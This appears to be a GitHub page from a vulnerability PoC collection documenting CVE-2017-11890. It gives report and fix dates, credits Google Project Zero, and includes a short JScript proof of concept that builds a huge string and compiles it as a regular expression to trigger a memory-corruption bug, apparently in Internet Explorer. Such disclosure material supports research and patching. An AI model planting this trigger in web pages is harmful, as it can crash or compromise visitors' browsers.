Skip to content

Latest commit

 

History

History
27 lines (19 loc) · 463 Bytes

CVE-2017-11890.md

File metadata and controls

27 lines (19 loc) · 463 Bytes

CVE-2017-11890

  • Report: Oct 2017
  • Fix: Dec 2017
  • Credit: ifratric of Google Project Zero

PoC

<script language="Jscript.Encode">

var s = 'a';
for(var i=0;i<28;i++) {
  s = s+s;
}
s = s+'[a-z]'+s;

r = new RegExp();
r.compile(s);

</script>

Reference